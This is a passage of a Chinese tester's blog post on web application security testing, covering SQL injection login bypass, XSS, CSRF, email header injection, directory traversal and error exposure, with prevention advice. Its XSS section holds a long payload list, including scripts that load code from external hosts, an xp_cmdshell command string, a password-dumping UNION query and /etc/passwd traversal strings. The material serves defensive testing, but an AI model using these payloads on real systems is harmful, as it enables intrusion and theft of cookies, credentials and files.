            <p class="MsoNormal" style="text-indent: 17.95pt; text-align: left;" align="left"><span style="font-size: 9pt;">例子：在登录时进行身份验证时，通常使用如下语句来进行验证：<span>sql=select * from user where username='username' and pwd='password'</span></span></p>
            <p class="MsoNormal" style="text-indent: 17.95pt; text-align: left;" align="left"><span style="font-size: 9pt;">如 输入</span><a href="http:///" target="_blank"><font color="#000000">http://duck/index.asp?username=<span style="font-weight: bold;">admin' or 1='1</span>&amp;pwd=<span style="font-weight: bold;">11</span></font></a><span style="font-size: 9pt;">，<span>SQL</span>语句会变成以下：<span>sql=select * from user where username='<span style="font-weight: bold;">admin' or 1='1</span>' and password='<span style="font-weight: bold;">11</span>'</span></span></p>
            <p class="MsoNormal" style="text-indent: 17.95pt; text-align: left;" align="left"><span style="font-size: 9pt;">'与admin前面的'组成了一个查询条件,即username='admin',接下来的语句将按下一个查询条件来执行.<br>
            </span></p>
            <p class="MsoNormal" style="text-indent: 17.95pt; text-align: left;" align="left"><span style="font-size: 9pt;">接下来是OR查询条件,OR</span><span style="font-size: 9pt;">是一个逻辑运算符，在判断多个条件的时候，只要一个成立，则等式就成立，后面的<span>AND</span>就不再时行判断了，也就是说我们绕过了密码验证，我们只用用户名就可以登录<span>.</span></span></p>
            <p class="MsoNormal" style="text-indent: 17.95pt; text-align: left;" align="left"><span style="font-size: 9pt;">如 输入</span><a href="http:///" target="_blank"><font color="#000000">http://duck/index.asp?username=<span style="font-weight: bold;">admin'--</span>&amp;pwd=<span style="font-weight: bold;">11</span></font></a><span style="font-size: 9pt;">，<span>SQL</span>语句会变成以下<span>sql=select * from user where name='<span style="font-weight: bold;">admin' --</span>' and pasword='<span style="font-weight: bold;">1</span>1',</span></span></p>
            <span style="font-size: 9pt;">'与admin前面的'组成了一个查询条件,即username='admin',接下来的语句将按下一个查询条件来执行</span><span style="font-size: 9pt;"><br>
            接下来是"--"查询条件,&#8220;--&#8221;</span><span style="font-size: 9pt;">是忽略或注释<span>,</span>上述通过连接符注释掉后面的密码验证<span>(</span>注<span>:</span>对<span>ACCESS</span><a href="http://hi.baidu.com/ningning2520/blog/item/%20:;" target="_self"><u><strong><font color="#000000">数据库</font></strong></u></a>无效<span>).</span></span></td>
        </tr>
    </tbody>
</table>
<ul>
    <li><font size="2"><span>最后,验证是否能入侵成功或是出错的信息是否包含关于数据库服务器的相关信息</span><span>;</span><span>如果能说明存在</span><span>SQL</span><span>安全漏洞</span><span>.</span></font></li>
    <li><font size="2"><span>试想,如果网站存在SQL注入的危险,对于有经验的恶意用户还可能猜出数据库表和表结构,并对数据库表进行增\删\改的操作,这样造成的后果是非常严重的.</span></font></li>
</ul>
<font size="2"><span>  (2)如何预防SQL注入</span></font><font size="2"><span>?<br>
<br>
&nbsp;&nbsp;<font size="2">从应用程序的角度来讲,我们要做以下三项<a href="http://hi.baidu.com/ningning2520/blog/item/%20:;" target="_self"><u><strong><font color="#000000">工作</font></strong></u></a>:</font><br>
</span></font>
<ul>
    <li><span style="font-size: 9pt;">转义敏感字符及字符串(SQL的敏感字符包括</span><span style="font-size: 9pt;">&#8220;</span><span style="font-size: 9pt;">exec</span><span style="font-size: 9pt;">&#8221;</span><span style="font-size: 9pt;">,</span><span style="font-size: 9pt;">&#8221;</span><span style="font-size: 9pt;">xp_</span><span style="font-size: 9pt;">&#8221;</span><span style="font-size: 9pt;">,</span><span style="font-size: 9pt;">&#8221;</span><span style="font-size: 9pt;">sp_</span><span style="font-size: 9pt;">&#8221;</span><span style="font-size: 9pt;">,</span><span style="font-size: 9pt;">&#8221;</span><span style="font-size: 9pt;">declare</span><span style="font-size: 9pt;">&#8221;</span><span style="font-size: 9pt;">,</span><span style="font-size: 9pt;">&#8221;</span><span style="font-size: 9pt;">Union</span><span style="font-size: 9pt;">&#8221;</span><span style="font-size: 9pt;">,</span><span style="font-size: 9pt;">&#8221;</span><span style="font-size: 9pt;">cmd</span><span style="font-size: 9pt;">&#8221;</span><span style="font-size: 9pt;">,</span><span style="font-size: 9pt;">&#8221;</span><span style="font-size: 9pt;">+</span><span style="font-size: 9pt;">&#8221;</span><span style="font-size: 9pt;">,</span><span style="font-size: 9pt;">&#8221;</span><span style="font-size: 9pt;">//</span><span style="font-size: 9pt;">&#8221;</span><span style="font-size: 9pt;">,</span><span style="font-size: 9pt;">&#8221;</span><span style="font-size: 9pt;">..</span><span style="font-size: 9pt;">&#8221;</span><span style="font-size: 9pt;">,</span><span style="font-size: 9pt;">&#8221;</span><span style="font-size: 9pt;">;</span><span style="font-size: 9pt;">&#8221;</span><span style="font-size: 9pt;">,</span><span style="font-size: 9pt;">&#8221;</span><span style="font-size: 9pt;">&#8216;</span><span style="font-size: 9pt;">&#8221;</span><span style="font-size: 9pt;">,</span><span style="font-size: 9pt;">&#8221;</span><span style="font-size: 9pt;">--</span><span style="font-size: 9pt;">&#8221;</span><span style="font-size: 9pt;">,</span><span style="font-size: 9pt;">&#8221;</span><span style="font-size: 9pt;">%</span><span style="font-size: 9pt;">&#8221;</span><span style="font-size: 9pt;">,</span><span style="font-size: 9pt;">&#8221;</span><span style="font-size: 9pt;">0x</span><span style="font-size: 9pt;">&#8221;</span><span style="font-size: 9pt;">,</span><span style="font-size: 9pt;">&#8221;</span><span style="font-size: 9pt; color: black;">&gt;&lt;=!-*/()|</span><span style="font-size: 9pt;">&#8221;</span><span style="font-size: 9pt;">,</span><span style="font-size: 9pt;">和</span><span style="font-size: 9pt;">&#8221;</span><span style="font-size: 9pt;">空格</span><span style="font-size: 9pt;">&#8221;).</span>
    <div class="O"> </div>
    </li>
    <li>
    <p class="MsoNormal"><span style="font-size: 9pt;">屏蔽出错信息：阻止攻击者知道攻击的结果</span></p>
    </li>
    <li>
    <p class="MsoNormal"><span style="font-size: 9pt;">在服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段</span><span style="font-size: 9pt;">,</span><span style="font-size: 9pt;">在确认客户端的输入合法之前</span><span style="font-size: 9pt;">,</span><span style="font-size: 9pt;">服务端拒绝进行关键性的处理操作</span><span style="font-size: 9pt;">.</span><span style="font-size: 9pt;"></span></p>
    </li>
</ul>
&nbsp;&nbsp;  从测试人员的角度来讲,在程序开发前(即需求阶段),我们就应该有意识的将安全性检查应用到需求测试中,例如对一个表单需求进行检查时,我们一般检验以下几项安全性问题:<br>
<ul>
    <li>需求中应说明表单中某一FIELD的类型,长度,以及取值范围(主要作用就是禁止输入敏感字符)</li>
    <li>需求中应说明如果超出表单规定的类型,长度,以及取值范围的,应用程序应给出不包含任何代码或数据库信息的错误提示.</li>
</ul>
&nbsp;&nbsp;  当然在执行测试的过程中,我们也需求对上述两项内容进行测试.<br>
<p class="MsoNormal" style="text-align: left;" align="left"><font style="font-weight: bold;" size="2">  2.Cross-site scritping(XSS):(跨站点脚本攻击)</font></p>
<p class="MsoNormal" style="text-align: left;" align="left"><font size="2">  (1)如何进行XSS测试?<br>
</font></p>
<p class="MsoNormal" style="text-align: left;" align="left"> </p>
<ul>
    <li>&lt;!--[if !supportLists]--&gt;<span style="font-size: 9pt;">首先</span><span style="font-size: 9pt;">,</span><span style="font-size: 9pt;">找到带有参数传递的</span><span style="font-size: 9pt;">URL,</span><span style="font-size: 9pt;">如登录页面</span><span style="font-size: 9pt;">,</span><span style="font-size: 9pt;">搜索页面</span><span style="font-size: 9pt;">,</span><span style="font-size: 9pt;">提交评论</span><span style="font-size: 9pt;">,</span><span style="font-size: 9pt;">发表留言页面等等。</span><span style="font-size: 9pt;"></span></li>
    <li>&lt;!--[if !supportLists]--&gt;<span style="font-size: 9pt;">其次,在页面参数中输入如下语句(如:</span><font size="2">Javascrīpt,VB scrīpt, HTML,ActiveX, Flash</font><span style="font-size: 9pt;">)来进行测试：</span><span style="font-size: 9pt;"></span></li>
</ul>
<table class="MsoTableGrid" style="margin-left: 32.4pt; border-collapse: collapse;" border="1" cellpadding="0" cellspacing="0">
    <tbody>
        <tr>
            <td style="padding: 0cm 5.4pt; width: 390.6pt;" valign="top" width="521">
            <p class="MsoNormal" style="text-align: center;" align="center"><span style="font-size: 9pt;">&lt;scrīpt&gt;alert(document.cookie)&lt;/scrīpt&gt;</span><span style="font-size: 9pt;"></span></p>
            </td>
        </tr>
    </tbody>
</table>
<p><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  注:其它的XSS测试语句</p>
<p>
<table width="200%" border="1" cellpadding="1" cellspacing="1">
    <tbody>
        <tr>
            <td>
            <p class="MsoNormal"><span style="font-size: 9pt;">&gt;&lt;scrīpt&gt;alert(document.cookie)&lt;/scrīpt&gt;<br>
            ='&gt;&lt;scrīpt&gt;alert(document.cookie)&lt;/scrīpt&gt;<br>
            &lt;scrīpt&gt;alert(document.cookie)&lt;/scrīpt&gt;<br>
            &lt;scrīpt&gt;alert(vulnerable)&lt;/scrīpt&gt;<br>
            %3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E<br>
            &lt;scrīpt&gt;alert('XSS')&lt;/scrīpt&gt;<br>
            &lt;img src="javascrīpt:alert('XSS')"&gt;<br>
            %0a%0a&lt;scrīpt&gt;alert(\"Vulnerable\")&lt;/scrīpt&gt;.jsp<br>
            %22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e<br>
            %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br>
            %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini<br>
            %3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e<br>
            %3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e<br>
            %3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html<br>
            %3f.jsp<br>
            %3f.jsp<br>
            &amp;lt;scrīpt&amp;gt;alert('Vulnerable');&amp;lt;/scrīpt&amp;gt<br>
            &lt;scrīpt&gt;alert('Vulnerable')&lt;/scrīpt&gt;<br>
            ?sql_debug=1<br>
            a%5c.aspx<br>
            a.jsp/&lt;scrīpt&gt;alert('Vulnerable')&lt;/scrīpt&gt;<br>
            a/<br>
            a?&lt;scrīpt&gt;alert('Vulnerable')&lt;/scrīpt&gt;<br>
            "&gt;&lt;scrīpt&gt;alert('Vulnerable')&lt;/scrīpt&gt;<br>
            ';exec%20master..xp_cmdshell%20'dir%20 c:%20&gt;%20c:\inetpub\wwwroot\?.txt'--&amp;&amp;<br>
            %22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E<br>
            %3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E&amp;<br>
            %3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&amp;SESSION_ID={SESSION_ID}&amp;SESSION_ID=<br>
            1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=<br>
            ../../../../../../../../etc/passwd<br>
            ..\..\..\..\..\..\..\..\windows\system.ini<br>
            \..\..\..\..\..\..\..\..\windows\system.ini<br>
            '';!--"&lt;XSS&gt;=&amp;{()}<br>
            &lt;IMG SRC="javascrīpt:alert('XSS');"&gt;<br>
            &lt;IMG SRC=javascrīpt:alert('XSS')&gt;<br>
            &lt;IMG SRC=javascrīpt:alert('XSS')&gt;<br>
            &lt;IMG SRC=javascrīpt:alert(&amp;quot;XSS&amp;quot;)&gt;<br>
            &lt;IMG SRC=javascrīpt:alert('XSS')&gt;<br>
            &lt;IMG SRC=javascrīpt:alert('XSS')&gt;<br>
            &lt;IMG SRC=javascript:alert('XSS')&gt;<br>
            &lt;IMG SRC="jav ascrīpt:alert('XSS');"&gt;<br>
            &lt;IMG SRC="jav ascrīpt:alert('XSS');"&gt;<br>
            &lt;IMG SRC="jav ascrīpt:alert('XSS');"&gt;<br>
            "&lt;IMG SRC=java\0scrīpt:alert(\"XSS\")&gt;";' &gt; out<br>
            &lt;IMG SRC=" javascrīpt:alert('XSS');"&gt;<br>
            &lt;scrīpt&gt;a=/XSS/alert(a.source)&lt;/scrīpt&gt;<br>
            &lt;BODY BACKGROUND="javascrīpt:alert('XSS')"&gt;<br>
            &lt;BODY ōNLOAD=alert('XSS')&gt;<br>
            &lt;IMG DYNSRC="javascrīpt:alert('XSS')"&gt;<br>
            &lt;IMG LOWSRC="javascrīpt:alert('XSS')"&gt;<br>
            &lt;BGSOUND SRC="javascrīpt:alert('XSS');"&gt;<br>
            &lt;br size="&amp;{alert('XSS')}"&gt;<br>
            &lt;LAYER SRC="http://xss.ha.ckers.org/a.js"&gt;&lt;/layer&gt;<br>
            &lt;LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');"&gt;<br>
            &lt;IMG SRC='vbscrīpt:msgbox("XSS")'&gt;<br>
            &lt;IMG SRC="mocha:[code]"&gt;<br>
            &lt;IMG SRC="livescrīpt:[code]"&gt;<br>
            &lt;META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');"&gt;<br>
            &lt;IFRAME SRC=javascrīpt:alert('XSS')&gt;&lt;/IFRAME&gt;<br>
            &lt;FRAMESET&gt;&lt;FRAME SRC=javascrīpt:alert('XSS')&gt;&lt;/FRAME&gt;&lt;/FRAMESET&gt;<br>
            &lt;TABLE BACKGROUND="javascrīpt:alert('XSS')"&gt;<br>
            &lt;DIV STYLE="background-image: url(javascrīpt:alert('XSS'))"&gt;<br>
            &lt;DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"&gt;<br>
            &lt;DIV STYLE="width: expression(alert('XSS'));"&gt;<br>
            &lt;STYLE&gt;@im\port'\ja\vasc\ript:alert("XSS")';&lt;/STYLE&gt;<br>
            &lt;IMG STYLE='xss:expre\ssion(alert("XSS"))'&gt;<br>
            &lt;STYLE TYPE="text/javascrīpt"&gt;alert('XSS');&lt;/STYLE&gt;<br>
            &lt;STYLE
            TYPE="text/css"&gt;.XSS{background-image:url("javascrīpt:alert('XSS')");}&lt;/STYLE&gt;&lt;A
            CLASS=XSS&gt;&lt;/A&gt;<br>
            &lt;STYLE type="text/css"&gt;BODY{background:url("javascrīpt:alert('XSS')")}&lt;/STYLE&gt;<br>
            &lt;BASE HREF="javascrīpt:alert('XSS');//"&gt;<br>
            getURL("javascrīpt:alert('XSS')")<br>
            a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d);<br>
            &lt;XML SRC="javascrīpt:alert('XSS');"&gt;<br>
            "&gt; &lt;BODY ōNLOAD="a();"&gt;&lt;scrīpt&gt;function a(){alert('XSS');}&lt;/scrīpt&gt;&lt;"<br>
            &lt;scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"&gt;&lt;/scrīpt&gt;<br>
            &lt;IMG SRC="javascrīpt:alert('XSS')"<br>
            &lt;!--#exec cmd="/bin/echo '&lt;scrīpt
            SRC'"--&gt;&lt;!--#exec cmd="/bin/echo
            '=http://xss.ha.ckers.org/a.js&gt;&lt;/scrīpt&gt;'"--&gt;<br>
            &lt;IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"&gt;<br>
            &lt;scrīpt a="&gt;" SRC="http://xss.ha.ckers.org/a.js"&gt;&lt;/scrīpt&gt;<br>
            &lt;scrīpt ="&gt;" SRC="http://xss.ha.ckers.org/a.js"&gt;&lt;/scrīpt&gt;<br>
            &lt;scrīpt a="&gt;" '' SRC="http://xss.ha.ckers.org/a.js"&gt;&lt;/scrīpt&gt;<br>
            &lt;scrīpt "a='&gt;'" SRC="http://xss.ha.ckers.org/a.js"&gt;&lt;/scrīpt&gt;<br>
            &lt;scrīpt&gt;document.write("&lt;SCRI");&lt;/scrīpt&gt;PT SRC="http://xss.ha.ckers.org/a.js"&gt;&lt;/scrīpt&gt;<br>
            &lt;A HREF=http://www.gohttp://www.google.com/ogle.com/&gt;link&lt;/A&gt;</span> </p>
            </td>
        </tr>
    </tbody>
</table>
</p>
<br>
<ul>
    <li><span style="font-size: 9pt;">最后,</span><font size="2">当用户浏览时便会弹出一个警告框，内容显示的是浏览者当前的cookie串,这就说明该网站存在XSS漏洞。</font></li>
    <li><font size="2">试想如果我们注入的不是以上这个简单的测试代码，而是一段经常精心设计的恶意脚本，当用户浏览此帖时，cookie信息就可能成功的被攻击者获取。此时浏览者的帐号就很容易被攻击者掌控了。</font></li>
</ul>
(2)如何预防XSS漏洞?<br>
&nbsp;&nbsp;&nbsp;  从应用程序的角度来讲,要进行以下几项预防:<br>
<ul>
    <li>对<font size="2">Javascrīpt,VB scrīpt, HTML,ActiveX, Flash</font><span style="font-size: 9pt;">等语句或脚本进行转义.</span></li>
    <li><span style="font-size: 9pt;">在服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段</span><span style="font-size: 9pt;">,</span><span style="font-size: 9pt;">在确认客户端的输入合法之前</span><span style="font-size: 9pt;">,</span><span style="font-size: 9pt;">服务端拒绝进行关键性的处理操作</span><span style="font-size: 9pt;">.</span><span style="font-size: 9pt;"></span></li>
</ul>
&nbsp;&nbsp;&nbsp;  从测试人员的角度来讲,要从需求检查和执行测试过程两个阶段来完成XSS检查:
<ul>
    <li>在需求检查过程中对各输入项或输出项进行类型、长度以及取值范围进行验证，着重验证是否对HTML或脚本代码进行了转义。</li>
    <li>执行测试过程中也应对上述项进行检查。</li>
</ul>
<br>
<font style="font-weight: bold;" size="2">  3.CSRF:(跨站点伪造请求)</font><br>
&nbsp;&nbsp;&nbsp;  CSRF尽管听起来像跨站脚本（XSS），但它与XSS非常不同，并且攻击方式几乎相左。<br>
&nbsp;&nbsp;&nbsp;  XSS是利用站点内的信任用户，而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。<br>
&nbsp;&nbsp;&nbsp;  XSS也好，CSRF也好，它的目的在于窃取用户的信息，如SESSION 和 COOKIES（关于SESSION 和COOKIES的介绍请参见我的另一篇BLOG：<a href="http:///" target="_blank"><font color="#000000">http://www.51testing.com/?49689/action_viewspace_itemid_74885.html</font></a>），<br>
&nbsp;&nbsp;  (1)如何进行CSRF测试？<br>
&nbsp;&nbsp;&nbsp;  关于这个主题本人也正在研究，目前主要通过安全性测试工具来进行检查。<br>
&nbsp;&nbsp;  (2)如何预防CSRF漏洞？<br>
<ul>
    <li>请参见<a href="http:///" target="_blank"><font color="#000000">http://www.hanguofeng.cn/archives/security/preventing-csrf</font></a></li>
    <li>请参见<a href="http:///" target="_blank"><font color="#000000">http://getahead.org/blog/joe/2007/01/01/csrf_attacks_or_how_to_avoid_exposing_your_gmail_contacts.html</font></a></li>
</ul>
<font style="font-weight: bold;" size="2">4.Email Header Injection(邮件标头注入)</font>&nbsp;&nbsp;<span><br>
&nbsp;&nbsp;&nbsp;  Email Header Injection</span><span>：如果表单用于发送</span><span>email,</span><span>表单中可能包括&#8220;</span><span>subject</span><span>&#8221;输入项（邮件标题），我们要验证</span><span>subject</span><span>中应能</span><span>escape</span><span>掉&#8220;</span><span>\n</span><span>&#8221;标识。</span>
<ul>
    <li>&lt;!--[if !supportLists]--&gt;&lt;!--[endif]--&gt;<span>因为&#8220;</span><span>\n</span><span>&#8221;是新行，如果在</span><span>subject</span><span>中输入&#8220;</span><span class="pre"><span>hello\ncc:spamvictim@example.com</span></span><span>&#8221;，可能会形成以下</span><strong><span></span></strong></li>
</ul>
<pre style="text-indent: 84pt;"><span>Subject: hello</span></pre>
<pre style="text-indent: 84pt;"><span>cc: spamvictim@example.com</span></pre>
<ul>
    <li>&lt;!--[if !supportLists]--&gt;&lt;!--[endif]--&gt;<span>如果允许用户使用这样的</span><span>subject</span><span>，那他可能会给利用这个缺陷通过我们的平台给<a href="http://hi.baidu.com/ningning2520/blog/item/%20:;" target="_self"><u><strong><font color="#000000">其它</font></strong></u></a>用户发送垃圾邮件。</span></li>
</ul>
<font size="2"><span style="font-weight: bold;">  5.Directory Traversal(目录遍历)</span></font><br>
&nbsp;&nbsp;  （1）如何进行目录遍历测试？<span><br>
</span>
<ul>
    <li>目录遍历<span>产生的原因是：程序中没有过滤用户输入的&#8220;</span><span>../</span><span>&#8221;和&#8220;</span><span>./</span><span>&#8221;之类的目录跳转符</span><span>,</span><span>导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。</span></li>
    <li><span>测试方法：</span><span>在</span><span>URL</span><span>中输入一定数量的&#8220;</span><span>../</span><span>&#8221;和&#8220;</span><span>./</span><span>&#8221;，验证系统是否</span><span>ESCAPE</span><span>掉了这些目录跳转符。</span><span><br>
    </span></li>
</ul>
&nbsp;&nbsp;  （2）如何预防目录遍历？<br>
<ul>
    <li><font size="2">限制Web应用在服务器上的运行</font></li>
</ul>
<ul>
    <li>进行严格的输入验证，控制用户输入非法路径</li>
</ul>
<font size="2"><span style="font-weight: bold;">6.exposed error messages(错误信息)<br>
</span></font>  （1）如何进行测试？<br>
<ul>
    <li>首先找到一些错误页面，比如404,或500页面。</li>
    <li>验证在调试未开通过的情况下，是否给出了友好的错误提示信息比如&#8220;你访问的页面不存在&#8221;等，而并非曝露一些程序代码。</li>
</ul>
（2）如何预防？<br>
<ul>
    <li>测试人员在进行需求检查时，应该对出错信息进行详细查，比如是否给出了出错信息，是否给出了正确的出错信息。</li>
</ul><img src ="http://www.cnitblog.com/stomic/aggbug/72786.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/stomic/" target="_blank">大话人生</a> 2011-02-13 16:51 <a href="http://www.cnitblog.com/stomic/archive/2011/02/13/72786.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>